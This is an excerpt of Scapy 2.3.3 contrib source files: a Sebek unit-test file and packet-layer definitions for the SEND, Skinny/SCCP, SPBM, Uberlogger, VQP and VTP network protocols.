scapy-2.3.3/scapy/contrib/sebek.uts000066400000000000000000000016401300136037300172400ustar00rootroot00000000000000# Sebek layer unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('sebek')" -t scapy/contrib/sebek.uts + Sebek protocol = Layer binding 1 pkt = IP() / UDP() / SebekHead() / SebekV1() pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1 = Packet dissection 1 pkt = IP(str(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1 = Layer binding 2 pkt = IP() / UDP() / SebekHead() / SebekV2Sock() pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2 = Packet dissection 2 pkt = IP(str(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2 = Layer binding 3 pkt = IPv6()/UDP()/SebekHead()/SebekV3() pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3 = Packet dissection 3 pkt = IPv6(str(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3 scapy-2.3.3/scapy/contrib/send.py000066400000000000000000000055561300136037300167270ustar00rootroot00000000000000#! /usr/bin/env python ## Copyright (C) 2009 Adline Stephane ## ## This program is published under a GPLv2 license # Partial support of RFC3971 # scapy.contrib.description = SEND # scapy.contrib.status = loads import socket from scapy.packet import * from scapy.fields import * from scapy.layers.inet6 import icmp6typescls, _ICMPv6NDGuessPayload, Net6 send_icmp6typescls = { 11: "ICMPv6NDOptCGA", 12: "ICMPv6NDOptRsaSig", 13: "ICMPv6NDOptTmstp", 14: "ICMPv6NDOptNonce" } icmp6typescls.update(send_icmp6typescls) class HashField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "16s") def h2i(self, pkt, x): if type(x) is str: try: x = in6_ptop(x) except socket.error: x = Net6(x) elif type(x) is list: x = map(Net6, x) return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, x) def m2i(self, pkt, x): return inet_ntop(socket.AF_INET6, x) def any2i(self, pkt, x): return self.h2i(pkt,x) def i2repr(self, pkt, x): return self.i2h(pkt, x) # No specific information to return class ICMPv6NDOptNonce(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptNonce" fields_desc = [ ByteField("type",14), FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: (x)/8), StrLenField("nonce","", length_from = lambda pkt: pkt.len*8-2) ] class ICMPv6NDOptTmstp(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptTmstp" fields_desc = [ ByteField("type",13), ByteField("len",2), BitField("reserved",0, 48), LongField("timestamp", None) ] class ICMPv6NDOptRsaSig(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptRsaSig" fields_desc = [ ByteField("type",12), FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: (x)/8), ShortField("reserved",0), HashField("key_hash",None), StrLenField("signature_pad", "", length_from = lambda pkt: pkt.len*8-20) ] class ICMPv6NDOptCGA(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptCGA" fields_desc = [ ByteField("type",11), FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: (x)/8), ByteField("padlength",0), ByteField("reserved",0), StrLenField("CGA_PARAMS", "", length_from = lambda pkt: pkt.len*8 - pkt.padlength - 4), StrLenField("padding", None, length_from = lambda pkt: pkt.padlength) ] if __name__ == "__main__": from scapy.all import * interact(mydict=globals(), mybanner="SEND add-on") scapy-2.3.3/scapy/contrib/skinny.py000066400000000000000000000440131300136037300173000ustar00rootroot00000000000000#! /usr/bin/env python # scapy.contrib.description = Skinny Call Control Protocol (SCCP) # scapy.contrib.status = loads ############################################################################# ## ## ## scapy-skinny.py --- Skinny Call Control Protocol (SCCP) extension ## ## ## ## Copyright (C) 2006 Nicolas Bareil ## ## EADS/CRC security team ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation; version 2. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# from scapy.packet import * from scapy.fields import * from scapy.layers.inet import TCP ##################################################################### # Helpers and constants ##################################################################### skinny_messages_cls = { # Station -> Callmanager 0x0000: "SkinnyMessageKeepAlive", 0x0001: "SkinnyMessageRegister", 0x0002: "SkinnyMessageIpPort", 0x0003: "SkinnyMessageKeypadButton", 0x0004: "SkinnyMessageEnblocCall", 0x0005: "SkinnyMessageStimulus", 0x0006: "SkinnyMessageOffHook", 0x0007: "SkinnyMessageOnHook", 0x0008: "SkinnyMessageHookFlash", 0x0009: "SkinnyMessageForwardStatReq", 0x000A: "SkinnyMessageSpeedDialStatReq", 0x000B: "SkinnyMessageLineStatReq", 0x000C: "SkinnyMessageConfigStatReq", 0x000D: "SkinnyMessageTimeDateReq", 0x000E: "SkinnyMessageButtonTemplateReq", 0x000F: "SkinnyMessageVersionReq", 0x0010: "SkinnyMessageCapabilitiesRes", 0x0011: "SkinnyMessageMediaPortList", 0x0012: "SkinnyMessageServerReq", 0x0020: "SkinnyMessageAlarm", 0x0021: "SkinnyMessageMulticastMediaReceptionAck", 0x0022: "SkinnyMessageOpenReceiveChannelAck", 0x0023: "SkinnyMessageConnectionStatisticsRes", 0x0024: "SkinnyMessageOffHookWithCgpn", 0x0025: "SkinnyMessageSoftKeySetReq", 0x0026: "SkinnyMessageSoftKeyEvent", 0x0027: "SkinnyMessageUnregister", 0x0028: "SkinnyMessageSoftKeyTemplateReq", 0x0029: "SkinnyMessageRegisterTokenReq", 0x002A: "SkinnyMessageMediaTransmissionFailure", 0x002B: "SkinnyMessageHeadsetStatus", 0x002C: "SkinnyMessageMediaResourceNotification", 0x002D: "SkinnyMessageRegisterAvailableLines", 0x002E: "SkinnyMessageDeviceToUserData", 0x002F: "SkinnyMessageDeviceToUserDataResponse", 0x0030: "SkinnyMessageUpdateCapabilities", 0x0031: "SkinnyMessageOpenMultiMediaReceiveChannelAck", 0x0032: "SkinnyMessageClearConference", 0x0033: "SkinnyMessageServiceURLStatReq", 0x0034: "SkinnyMessageFeatureStatReq", 0x0035: "SkinnyMessageCreateConferenceRes", 0x0036: "SkinnyMessageDeleteConferenceRes", 0x0037: "SkinnyMessageModifyConferenceRes", 0x0038: "SkinnyMessageAddParticipantRes", 0x0039: "SkinnyMessageAuditConferenceRes", 0x0040: "SkinnyMessageAuditParticipantRes", 0x0041: "SkinnyMessageDeviceToUserDataVersion1", # Callmanager -> Station */ 0x0081: "SkinnyMessageRegisterAck", 0x0082: "SkinnyMessageStartTone", 0x0083: "SkinnyMessageStopTone", 0x0085: "SkinnyMessageSetRinger", 0x0086: "SkinnyMessageSetLamp", 0x0087: "SkinnyMessageSetHkFDetect", 0x0088: "SkinnyMessageSpeakerMode", 0x0089: "SkinnyMessageSetMicroMode", 0x008A: "SkinnyMessageStartMediaTransmission", 0x008B: "SkinnyMessageStopMediaTransmission", 0x008C: "SkinnyMessageStartMediaReception", 0x008D: "SkinnyMessageStopMediaReception", 0x008F: "SkinnyMessageCallInfo", 0x0090: "SkinnyMessageForwardStat", 0x0091: "SkinnyMessageSpeedDialStat", 0x0092: "SkinnyMessageLineStat", 0x0093: "SkinnyMessageConfigStat", 0x0094: "SkinnyMessageTimeDate", 0x0095: "SkinnyMessageStartSessionTransmission", 0x0096: "SkinnyMessageStopSessionTransmission", 0x0097: "SkinnyMessageButtonTemplate", 0x0098: "SkinnyMessageVersion", 0x0099: "SkinnyMessageDisplayText", 0x009A: "SkinnyMessageClearDisplay", 0x009B: "SkinnyMessageCapabilitiesReq", 0x009C: "SkinnyMessageEnunciatorCommand", 0x009D: "SkinnyMessageRegisterReject", 0x009E: "SkinnyMessageServerRes", 0x009F: "SkinnyMessageReset", 0x0100: "SkinnyMessageKeepAliveAck", 0x0101: "SkinnyMessageStartMulticastMediaReception", 0x0102: "SkinnyMessageStartMulticastMediaTransmission", 0x0103: "SkinnyMessageStopMulticastMediaReception", 0x0104: "SkinnyMessageStopMulticastMediaTransmission", 0x0105: "SkinnyMessageOpenReceiveChannel", 0x0106: "SkinnyMessageCloseReceiveChannel", 0x0107: "SkinnyMessageConnectionStatisticsReq", 0x0108: "SkinnyMessageSoftKeyTemplateRes", 0x0109: "SkinnyMessageSoftKeySetRes", 0x0110: "SkinnyMessageSoftKeyEvent", 0x0111: "SkinnyMessageCallState", 0x0112: "SkinnyMessagePromptStatus", 0x0113: "SkinnyMessageClearPromptStatus", 0x0114: "SkinnyMessageDisplayNotify", 0x0115: "SkinnyMessageClearNotify", 0x0116: "SkinnyMessageCallPlane", 0x0117: "SkinnyMessageCallPlane", 0x0118: "SkinnyMessageUnregisterAck", 0x0119: "SkinnyMessageBackSpaceReq", 0x011A: "SkinnyMessageRegisterTokenAck", 0x011B: "SkinnyMessageRegisterTokenReject", 0x0042: "SkinnyMessageDeviceToUserDataResponseVersion1", 0x011C: "SkinnyMessageStartMediaFailureDetection", 0x011D: "SkinnyMessageDialedNumber", 0x011E: "SkinnyMessageUserToDeviceData", 0x011F: "SkinnyMessageFeatureStat", 0x0120: "SkinnyMessageDisplayPriNotify", 0x0121: "SkinnyMessageClearPriNotify", 0x0122: "SkinnyMessageStartAnnouncement", 0x0123: "SkinnyMessageStopAnnouncement", 0x0124: "SkinnyMessageAnnouncementFinish", 0x0127: "SkinnyMessageNotifyDtmfTone", 0x0128: "SkinnyMessageSendDtmfTone", 0x0129: "SkinnyMessageSubscribeDtmfPayloadReq", 0x012A: "SkinnyMessageSubscribeDtmfPayloadRes", 0x012B: "SkinnyMessageSubscribeDtmfPayloadErr", 0x012C: "SkinnyMessageUnSubscribeDtmfPayloadReq", 0x012D: "SkinnyMessageUnSubscribeDtmfPayloadRes", 0x012E: "SkinnyMessageUnSubscribeDtmfPayloadErr", 0x012F: "SkinnyMessageServiceURLStat", 0x0130: "SkinnyMessageCallSelectStat", 0x0131: "SkinnyMessageOpenMultiMediaChannel", 0x0132: "SkinnyMessageStartMultiMediaTransmission", 0x0133: "SkinnyMessageStopMultiMediaTransmission", 0x0134: "SkinnyMessageMiscellaneousCommand", 0x0135: "SkinnyMessageFlowControlCommand", 0x0136: "SkinnyMessageCloseMultiMediaReceiveChannel", 0x0137: "SkinnyMessageCreateConferenceReq", 0x0138: "SkinnyMessageDeleteConferenceReq", 0x0139: "SkinnyMessageModifyConferenceReq", 0x013A: "SkinnyMessageAddParticipantReq", 0x013B: "SkinnyMessageDropParticipantReq", 0x013C: "SkinnyMessageAuditConferenceReq", 0x013D: "SkinnyMessageAuditParticipantReq", 0x013F: "SkinnyMessageUserToDeviceDataVersion1", } skinny_callstates = { 0x1: "Off Hook", 0x2: "On Hook", 0x3: "Ring out", 0xc: "Proceeding", } skinny_ring_type = { 0x1: "Ring off" } skinny_speaker_modes = { 0x1: "Speaker on", 0x2: "Speaker off" } skinny_lamp_mode = { 0x1: "Off (?)", 0x2: "On", } skinny_stimulus = { 0x9: "Line" } ############ ## Fields ## ############ class SkinnyDateTimeField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 32) def m2i(self, pkt, s): year,month,dow,day,hour,min,sec,milisecond=struct.unpack('<8I', s) return (year, month, day, hour, min, sec) def i2m(self, pkt, val): if type(val) is str: val = self.h2i(pkt, val) l= val[:2] + (0,) + val[2:7] + (0,) return struct.pack('<8I', *l) def i2h(self, pkt, x): if type(x) is str: return x else: return time.ctime(time.mktime(x+(0,0,0))) def i2repr(self, pkt, x): return self.i2h(pkt, x) def h2i(self, pkt, s): t = () if type(s) is str: t = time.strptime(s) t = t[:2] + t[2:-3] else: if not s: y,m,d,h,min,sec,rest,rest,rest = time.gmtime(time.time()) t = (y,m,d,h,min,sec) else: t=s return t ########################### ## Packet abstract class ## ########################### class SkinnyMessageGeneric(Packet): name='Generic message' class SkinnyMessageKeepAlive(Packet): name='keep alive' class SkinnyMessageKeepAliveAck(Packet): name='keep alive ack' class SkinnyMessageOffHook(Packet): name = 'Off Hook' fields_desc = [ LEIntField("unknown1", 0), LEIntField("unknown2", 0),] class SkinnyMessageOnHook(SkinnyMessageOffHook): name = 'On Hook' class SkinnyMessageCallState(Packet): name='Skinny Call state message' fields_desc = [ LEIntEnumField("state", 1, skinny_callstates), LEIntField("instance", 1), LEIntField("callid", 0), LEIntField("unknown1", 4), LEIntField("unknown2", 0), LEIntField("unknown3", 0) ] class SkinnyMessageSoftKeyEvent(Packet): name='Soft Key Event' fields_desc = [ LEIntField("key", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageSetRinger(Packet): name='Ring message' fields_desc = [ LEIntEnumField("ring", 0x1, skinny_ring_type), LEIntField("unknown1", 0), LEIntField("unknown2", 0), LEIntField("unknown3", 0) ] _skinny_tones = { 0x21: 'Inside dial tone', 0x22: 'xxx', 0x23: 'xxx', 0x24: 'Alerting tone', 0x25: 'Reorder Tone' } class SkinnyMessageStartTone(Packet): name='Start tone' fields_desc = [ LEIntEnumField("tone", 0x21, _skinny_tones), LEIntField("unknown1", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageStopTone(SkinnyMessageGeneric): name='stop tone' fields_desc = [ LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageSpeakerMode(Packet): name='Speaker mdoe' fields_desc = [ LEIntEnumField("ring", 0x1, skinny_speaker_modes) ] class SkinnyMessageSetLamp(Packet): name='Lamp message (light of the phone)' fields_desc = [ LEIntEnumField("stimulus", 0x5, skinny_stimulus), LEIntField("instance", 1), LEIntEnumField("mode", 2, skinny_lamp_mode) ] class SkinnyMessageSoftKeyEvent(Packet): name=' Call state message' fields_desc = [ LEIntField("instance", 1), LEIntField("callid", 0), LEIntField("set", 0), LEIntField("map", 0xffff)] class SkinnyMessagePromptStatus(Packet): name='Prompt status' fields_desc = [ LEIntField("timeout", 0), StrFixedLenField("text", "\0"*32, 32), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageCallPlane(Packet): name='Activate/Desactivate Call Plane Message' fields_desc = [ LEIntField("instance", 1)] class SkinnyMessageTimeDate(Packet): name='Setting date and time' fields_desc = [ SkinnyDateTimeField("settime", None), LEIntField("timestamp", 0) ] class SkinnyMessageClearPromptStatus(Packet): name='clear prompt status' fields_desc = [ LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageKeypadButton(Packet): name='keypad button' fields_desc = [ LEIntField("key", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageDialedNumber(Packet): name='dialed number' fields_desc = [ StrFixedLenField("number", "1337", 24), LEIntField("instance", 1), LEIntField("callid", 0)] _skinny_message_callinfo_restrictions = ['CallerName' , 'CallerNumber' , 'CalledName' , 'CalledNumber' , 'OriginalCalledName' , 'OriginalCalledNumber' , 'LastRedirectName' , 'LastRedirectNumber'] + ['Bit%d' % i for i in xrange(8,15)] class SkinnyMessageCallInfo(Packet): name='call information' fields_desc = [ StrFixedLenField("callername", "Jean Valjean", 40), StrFixedLenField("callernum", "1337", 24), StrFixedLenField("calledname", "Causette", 40), StrFixedLenField("callednum", "1034", 24), LEIntField("lineinstance", 1), LEIntField("callid", 0), StrFixedLenField("originalcalledname", "Causette", 40), StrFixedLenField("originalcallednum", "1034", 24), StrFixedLenField("lastredirectingname", "Causette", 40), StrFixedLenField("lastredirectingnum", "1034", 24), LEIntField("originalredirectreason", 0), LEIntField("lastredirectreason", 0), StrFixedLenField('voicemailboxG', '\0'*24, 24), StrFixedLenField('voicemailboxD', '\0'*24, 24), StrFixedLenField('originalvoicemailboxD', '\0'*24, 24), StrFixedLenField('lastvoicemailboxD', '\0'*24, 24), LEIntField('security', 0), FlagsField('restriction', 0, 16, _skinny_message_callinfo_restrictions), LEIntField('unknown', 0)] class SkinnyRateField(LEIntField): def i2repr(self, pkt, x): if x is None: x=0 return '%d ms/pkt' % x _skinny_codecs = { 0x0: 'xxx', 0x1: 'xxx', 0x2: 'xxx', 0x3: 'xxx', 0x4: 'G711 ulaw 64k' } _skinny_echo = { 0x0: 'echo cancelation off', 0x1: 'echo cancelation on' } class SkinnyMessageOpenReceiveChannel(Packet): name='open receive channel' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntEnumField('echo', 0, _skinny_echo), LEIntField('unknown1', 0), LEIntField('callid', 0)] def guess_payload_class(self, p): return conf.padding_layer _skinny_receive_channel_status = { 0x0: 'ok', 0x1: 'ko' } class SkinnyMessageOpenReceiveChannelAck(Packet): name='open receive channel' fields_desc = [LEIntEnumField('status', 0, _skinny_receive_channel_status), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), LEIntField('passthru', 0), LEIntField('callid', 0)] _skinny_silence = { 0x0: 'silence suppression off', 0x1: 'silence suppression on', } class SkinnyFramePerPacketField(LEIntField): def i2repr(self, pkt, x): if x is None: x=0 return '%d frames/pkt' % x class SkinnyMessageStartMediaTransmission(Packet): name='start multimedia transmission' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntField('precedence', 200), LEIntEnumField('silence', 0, _skinny_silence), SkinnyFramePerPacketField('maxframes', 0), LEIntField('unknown1', 0), LEIntField('callid', 0)] def guess_payload_class(self, p): return conf.padding_layer class SkinnyMessageCloseReceiveChannel(Packet): name='close receive channel' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntField('precedence', 200), LEIntEnumField('silence', 0, _skinny_silence), LEIntField('callid', 0)] class SkinnyMessageStopMultiMediaTransmission(Packet): name='stop multimedia transmission' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), LEIntField('callid', 0)] class Skinny(Packet): name="Skinny" fields_desc = [ LEIntField("len", None), LEIntField("res",0), LEIntEnumField("msg",0, skinny_messages_cls) ] def post_build(self, pkt, p): if self.len is None: l=len(p)+len(pkt)-8 # on compte pas les headers len et reserved pkt=struct.pack('@I', l)+pkt[4:] return pkt+p # An helper def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) #return __builtin__.__dict__.get(name, fallback_cls) for msgid,strcls in skinny_messages_cls.items(): cls=get_cls(strcls, SkinnyMessageGeneric) bind_layers(Skinny, cls, {"msg": msgid}) bind_layers(TCP, Skinny, { "dport": 2000 } ) bind_layers(TCP, Skinny, { "sport": 2000 } ) if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(),mybanner="Welcome to Skinny add-on") scapy-2.3.3/scapy/contrib/spbm.py000066400000000000000000000032061300136037300167250ustar00rootroot00000000000000# IEEE 802.1aq - Shorest Path Bridging Mac-in-mac (SPBM): # Ethernet based link state protocol that enables Layer 2 Unicast, Layer 2 Multicast, Layer 3 Unicast, and Layer 3 Multicast virtualized services # https://en.wikipedia.org/wiki/IEEE_802.1aq # Modeled after the scapy VXLAN contribution # ############################################################# # Example SPB Frame Creation # # Note the outer Dot1Q Ethertype marking (0x88e7) ############################################################# # backboneEther = Ether(dst='00:bb:00:00:90:00', src='00:bb:00:00:40:00', type=0x8100) # backboneDot1Q = Dot1Q(vlan=4051,type=0x88e7) # backboneServiceID = SPBM(prio=1,isid=20011) # customerEther = Ether(dst='00:1b:4f:5e:ca:00',src='00:00:00:00:00:01',type=0x8100) # customerDot1Q = Dot1Q(prio=1,vlan=11,type=0x0800) # customerIP = IP(src='10.100.11.10',dst='10.100.12.10',id=0x0629,len=106) # customerUDP = UDP(sport=1024,dport=1025,chksum=0,len=86) # # spb_example = backboneEther/backboneDot1Q/backboneServiceID/customerEther/customerDot1Q/customerIP/customerUDP/"Payload" from scapy.packet import Packet, bind_layers from scapy.fields import * from scapy.layers.l2 import Ether, Dot1Q class SPBM(Packet): name = "SPBM" fields_desc = [ BitField("prio", 0, 3), BitField("dei", 0, 1), BitField("nca", 0, 1), BitField("res1", 0, 1), BitField("res2", 0, 2), ThreeBytesField("isid", 0)] def mysummary(self): return self.sprintf("SPBM (isid=%SPBM.isid%") bind_layers(Dot1Q, SPBM, type=0x88e7) bind_layers(SPBM, Ether) scapy-2.3.3/scapy/contrib/ubberlogger.py000066400000000000000000000067201300136037300202670ustar00rootroot00000000000000# Author: Sylvain SARMEJEANNE # http://trac.secdev.org/scapy/ticket/1 # scapy.contrib.description = Ubberlogger dissectors # scapy.contrib.status = untested from scapy.packet import * from scapy.fields import * # Syscalls known by Uberlogger uberlogger_sys_calls = {0:"READ_ID", 1:"OPEN_ID", 2:"WRITE_ID", 3:"CHMOD_ID", 4:"CHOWN_ID", 5:"SETUID_ID", 6:"CHROOT_ID", 7:"CREATE_MODULE_ID", 8:"INIT_MODULE_ID", 9:"DELETE_MODULE_ID", 10:"CAPSET_ID", 11:"CAPGET_ID", 12:"FORK_ID", 13:"EXECVE_ID"} # First part of the header class Uberlogger_honeypot_caract(Packet): name = "Uberlogger honeypot_caract" fields_desc = [ByteField("honeypot_id", 0), ByteField("reserved", 0), ByteField("os_type_and_version", 0)] # Second part of the header class Uberlogger_uber_h(Packet): name = "Uberlogger uber_h" fields_desc = [ByteEnumField("syscall_type", 0, uberlogger_sys_calls), IntField("time_sec", 0), IntField("time_usec", 0), IntField("pid", 0), IntField("uid", 0), IntField("euid", 0), IntField("cap_effective", 0), IntField("cap_inheritable", 0), IntField("cap_permitted", 0), IntField("res", 0), IntField("length", 0)] # The 9 following classes are options depending on the syscall type class Uberlogger_capget_data(Packet): name = "Uberlogger capget_data" fields_desc = [IntField("target_pid", 0)] class Uberlogger_capset_data(Packet): name = "Uberlogger capset_data" fields_desc = [IntField("target_pid", 0), IntField("effective_cap", 0), IntField("permitted_cap", 0), IntField("inheritable_cap", 0)] class Uberlogger_chmod_data(Packet): name = "Uberlogger chmod_data" fields_desc = [ShortField("mode", 0)] class Uberlogger_chown_data(Packet): name = "Uberlogger chown_data" fields_desc = [IntField("uid", 0), IntField("gid", 0)] class Uberlogger_open_data(Packet): name = "Uberlogger open_data" fields_desc = [IntField("flags", 0), IntField("mode", 0)] class Uberlogger_read_data(Packet): name = "Uberlogger read_data" fields_desc = [IntField("fd", 0), IntField("count", 0)] class Uberlogger_setuid_data(Packet): name = "Uberlogger setuid_data" fields_desc = [IntField("uid", 0)] class Uberlogger_create_module_data(Packet): name = "Uberlogger create_module_data" fields_desc = [IntField("size", 0)] class Uberlogger_execve_data(Packet): name = "Uberlogger execve_data" fields_desc = [IntField("nbarg", 0)] # Layer bounds for Uberlogger bind_layers(Uberlogger_honeypot_caract,Uberlogger_uber_h) bind_layers(Uberlogger_uber_h,Uberlogger_capget_data) bind_layers(Uberlogger_uber_h,Uberlogger_capset_data) bind_layers(Uberlogger_uber_h,Uberlogger_chmod_data) bind_layers(Uberlogger_uber_h,Uberlogger_chown_data) bind_layers(Uberlogger_uber_h,Uberlogger_open_data) bind_layers(Uberlogger_uber_h,Uberlogger_read_data) bind_layers(Uberlogger_uber_h,Uberlogger_setuid_data) bind_layers(Uberlogger_uber_h,Uberlogger_create_module_data) bind_layers(Uberlogger_uber_h,Uberlogger_execve_data) scapy-2.3.3/scapy/contrib/vqp.py000066400000000000000000000043061300136037300165740ustar00rootroot00000000000000 # http://trac.secdev.org/scapy/ticket/147 # scapy.contrib.description = VLAN Query Protocol # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP class VQP(Packet): name = "VQP" fields_desc = [ ByteField("const", 1), ByteEnumField("type", 1, { 1:"requestPort", 2:"responseVLAN", 3:"requestReconfirm", 4:"responseReconfirm" }), ByteEnumField("errorcodeaction", 0, { 0:"none",3:"accessDenied", 4:"shutdownPort", 5:"wrongDomain" }), ByteEnumField("unknown", 2, { 2:"inGoodResponse", 6:"inRequests" }), IntField("seq",0), ] class VQPEntry(Packet): name = "VQPEntry" fields_desc = [ IntEnumField("datatype", 0, { 3073:"clientIPAddress", 3074:"portName", 3075:"VLANName", 3076:"Domain", 3077:"ethernetPacket", 3078:"ReqMACAddress", 3079:"unknown", 3080:"ResMACAddress" }), FieldLenField("len", None), ConditionalField(IPField("datatom", "0.0.0.0"), lambda p:p.datatype==3073), ConditionalField(MACField("data", "00:00:00:00:00:00"), lambda p:p.datatype==3078), ConditionalField(MACField("data", "00:00:00:00:00:00"), lambda p:p.datatype==3080), ConditionalField(StrLenField("data", None, length_from=lambda p:p.len), lambda p:p.datatype not in [3073, 3078, 3080]), ] def post_build(self, p, pay): if self.len is None: l = len(p.data) p = p[:2]+struct.pack("!H",l)+p[4:] return p bind_layers(UDP, VQP, sport=1589) bind_layers(UDP, VQP, dport=1589) bind_layers(VQP, VQPEntry, ) bind_layers(VQPEntry, VQPEntry, ) scapy-2.3.3/scapy/contrib/vtp.py000066400000000000000000000142521300136037300166000ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = VLAN Trunking Protocol (VTP) # scapy.contrib.status = loads """ VTP Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :version: 2009-02-15 :copyright: 2009 by Jochen Bartl :e-mail: lobo@c3a.de / jochen.bartl@gmail.com :license: GPL v2 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :TODO - Join messages - RE MD5 hash calculation - Have a closer look at 8 byte padding in summary adv. "debug sw-vlan vtp packets" sais the TLV length is invalid, when I change the values '\x00\x00\x00\x01\x06\x01\x00\x02' * \x00\x00 ? * \x00\x01 tlvtype? * \x06 length? * \x00\x02 value? - h2i function for VTPTimeStampField :References: - Understanding VLAN Trunk Protocol (VTP) http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094c52.shtml """ from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import * _VTP_VLAN_TYPE = { 1 : 'Ethernet', 2 : 'FDDI', 3 : 'TrCRF', 4 : 'FDDI-net', 5 : 'TrBRF' } _VTP_VLANINFO_TLV_TYPE = { 0x01 : 'Source-Routing Ring Number', 0x02 : 'Source-Routing Bridge Number', 0x03 : 'Spanning-Tree Protocol Type', 0x04 : 'Parent VLAN', 0x05 : 'Translationally Bridged VLANs', 0x06 : 'Pruning', 0x07 : 'Bridge Type', 0x08 : 'Max ARE Hop Count', 0x09 : 'Max STE Hop Count', 0x0A : 'Backup CRF Mode' } class VTPVlanInfoTlv(Packet): name = "VTP VLAN Info TLV" fields_desc = [ ByteEnumField("type", 0, _VTP_VLANINFO_TLV_TYPE), ByteField("length", 0), StrLenField("value", None, length_from=lambda pkt : pkt.length + 1) ] def guess_payload_class(self, p): return conf.padding_layer class VTPVlanInfo(Packet): name = "VTP VLAN Info" fields_desc = [ ByteField("len", None), # FIXME: compute length ByteEnumField("status", 0, {0 : "active", 1 : "suspended"}), ByteEnumField("type", 1, _VTP_VLAN_TYPE), FieldLenField("vlannamelen", None, "vlanname", "B"), ShortField("vlanid", 1), ShortField("mtu", 1500), XIntField("dot10index", None), StrLenField("vlanname", "default", length_from=lambda pkt:4 * ((pkt.vlannamelen + 3) / 4)), ConditionalField(PacketListField("tlvlist", [], VTPVlanInfoTlv, length_from=lambda pkt:pkt.len - 12 - (4 * ((pkt.vlannamelen + 3) / 4))), lambda pkt:pkt.type not in [1, 2]) ] def post_build(self, p, pay): vlannamelen = 4 * ((len(self.vlanname) + 3) / 4) if self.len == None: l = vlannamelen + 12 p = chr(l & 0xff) + p[1:] # Pad vlan name with zeros if vlannamelen > len(vlanname) l = vlannamelen - len(self.vlanname) if l != 0: p += "\x00" * l p += pay return p def guess_payload_class(self, p): return conf.padding_layer _VTP_Types = { 1 : 'Summary Advertisement', 2 : 'Subset Advertisements', 3 : 'Advertisement Request', 4 : 'Join' } class VTPTimeStampField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 12) def i2repr(self, pkt, x): return "%s-%s-%s %s:%s:%s" % (x[:2], x[2:4], x[4:6], x[6:8], x[8:10], x[10:12]) class VTP(Packet): name = "VTP" fields_desc = [ ByteField("ver", 2), ByteEnumField("code", 1, _VTP_Types), ConditionalField(ByteField("followers", 1), lambda pkt:pkt.code == 1), ConditionalField(ByteField("seq", 1), lambda pkt:pkt.code == 2), ConditionalField(ByteField("reserved", 0), lambda pkt:pkt.code == 3), ByteField("domnamelen", None), StrFixedLenField("domname", "manbearpig", 32), ConditionalField(SignedIntField("rev", 0), lambda pkt:pkt.code == 1 or pkt.code == 2), # updater identity ConditionalField(IPField("uid", "192.168.0.1"), lambda pkt:pkt.code == 1), ConditionalField(VTPTimeStampField("timestamp", '930301000000'), lambda pkt:pkt.code == 1), ConditionalField(StrFixedLenField("md5", "\x00" * 16, 16), lambda pkt:pkt.code == 1), ConditionalField( PacketListField("vlaninfo", [], VTPVlanInfo), lambda pkt: pkt.code == 2), ConditionalField(ShortField("startvalue", 0), lambda pkt:pkt.code == 3) ] def post_build(self, p, pay): if self.domnamelen == None: domnamelen = len(self.domname.strip("\x00")) p = p[:3] + chr(domnamelen & 0xff) + p[4:] p += pay return p bind_layers(SNAP, VTP, code=0x2003) if __name__ == '__main__': from scapy.main import interact interact(mydict=globals(), mybanner="VTP") 